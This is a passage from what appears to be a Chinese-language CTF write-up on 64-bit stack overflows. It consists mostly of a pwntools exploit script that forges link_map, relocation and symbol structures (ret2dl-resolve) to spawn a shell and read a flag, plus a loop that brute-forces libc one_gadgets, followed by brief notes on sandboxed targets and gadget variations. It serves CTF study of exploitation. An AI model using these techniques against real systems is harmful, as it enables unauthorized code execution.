val_0x70=base_stage+0xc0-8 #0x600eb8
val_0xf8=base_stage+0xc0-8 #0x600f28
wait_time=0.1

#print p.recv() # 'Welcome to XDCTF2015~!\n'

#1.往fake_link_map+0x68写值
payload='\x00'*offset_rbp
payload+='\x00'*8
payload+=makecall(p6_addr,call_addr,read_got,0,fake_link_map+0x68,16,tail=vuln_addr)
payload=payload.ljust(0x100,'\x00')
#gdb_a(0x4006AA)
p.send(payload)
#pause()
sleep(wait_time)
p.send(p64(val_0x68)+p64(val_0x70))

#2.往fake_link_map+0xf8写值
payload='\x00'*offset_rbp
payload+='\x00'*8
payload+=makecall(p6_addr,call_addr,read_got,0,fake_link_map+0xf8,8,tail=vuln_addr)
payload=payload.ljust(0x100,'\x00')
p.send(payload)
sleep(wait_time)
p.send(p64(val_0xf8))

#3.往base_stage写入伪造结构并跳过去
payload='\x00'*offset_rbp
payload+='\x00'*8
payload+=makecall(p6_addr,call_addr,read_got,0,base_stage,0xd0,tail=0) #假设结构大小是400
payload+=p64(0)*2+p64(base_stage)+p64(0)*4
payload+=p64(leave_ret)
payload=payload.ljust(0x100,'\x00')
p.send(payload)


#4.bss数据:rop-参数放在寄存器/ 伪造结构
#(1)确定各个节的地址
plt_1 = plt_0+6
#(2)确定重定位下标
align = 24 - (56 % 24) # 这里的对齐操作是因为dynsym里的ELF64_R_SYM结构体都是24字节大小
index_offset = base_stage + 7*8 + align
index = (7*8 + align) / 24 # base_stage + 7*8 指向fake_reloc,减去rel_plt即偏移
#(3)确定动态链接符号下标
align = 24 - ((13*8) % 24)# 这里的对齐操作是因为dynsym里的Elf64_Sym结构体都是24字节大小
fake_sym_addr = base_stage + 13*8 + align
index_dynsym = (13*8 + align) / 24 # 除以24因为Elf64_Sym结构体的大小为24,得到write的dynsym索引号
#(4)伪造重定位结构+动态链接结构
r_info = (index_dynsym << 32) | 0x7
fake_reloc = p64(fake_r_offset) + p64(r_info) + p64(0)
fake_sym = p32(0) + p32(0x112) + p64(fake_st_value) + p64(0)

payload2 = p64(0)#'AAAAAAAA'
payload2 += p64(p_rdi_ret)
payload2 += p64(base_stage+0xc0) #/bin/sh
payload2 += p64(plt_1)
payload2 += p64(fake_link_map) #
payload2 += p64(index) #jmprel 下标参数
payload2 += p64(0) #返回地址

payload2 = payload2.ljust(index_offset-base_stage,'\x00')
payload2 += fake_reloc # index_offset(base_stage+7*8)的位置
payload2 = payload2.ljust(fake_sym_addr-base_stage,'\x00')
payload2 += fake_sym # fake_sym_addr(base_stage+9*8)的位置
payload2 = payload2.ljust(0xc0,'\x00')
payload2 += p64(base_stage)
payload2 = payload2.ljust(0xd0,'\x00')

p.send(payload2)
sleep(wait_time)

#----getshell-----
#no interactive
p.recv(timeout=0.5)
try:
p.sendline(b'cat flag')
flag = p.recvuntil(b'}')
except:
p.close()
#continue
if b'}' in flag:
log.success('flag: %s', regexp_out(flag))
exit()



i = 0
while True:
global p
i += 1
log.info("Times:%d"%i)
for libcFile in libc_list:
libcFile = libcAll_path + libcFile
one_gadget_list = myTool.getOnegadget(libcFile)
for one_gadget in one_gadget_list:
try:
p = process(fpath)
log.success('libcFile: %s',libcFile)
#print(one_gadget)
pwn(libcFile,one_gadget)
#pwn()
except EOFError:
p.close()
continue
except Exception:
p.close()
continue
else:
p.interactive()
break

④开了沙箱,只有read和libc文件

这种就得用orw来读取flag了或者使用测信道攻击,之后再来详细完成一下把。

栈溢出(64bit)的一些操作<二> (zoepla.github.io)

🔺有时候万能gadget可能不太一样

image-20211214220500845

rdi和rdx的赋值顺序可能发生变化,需要注意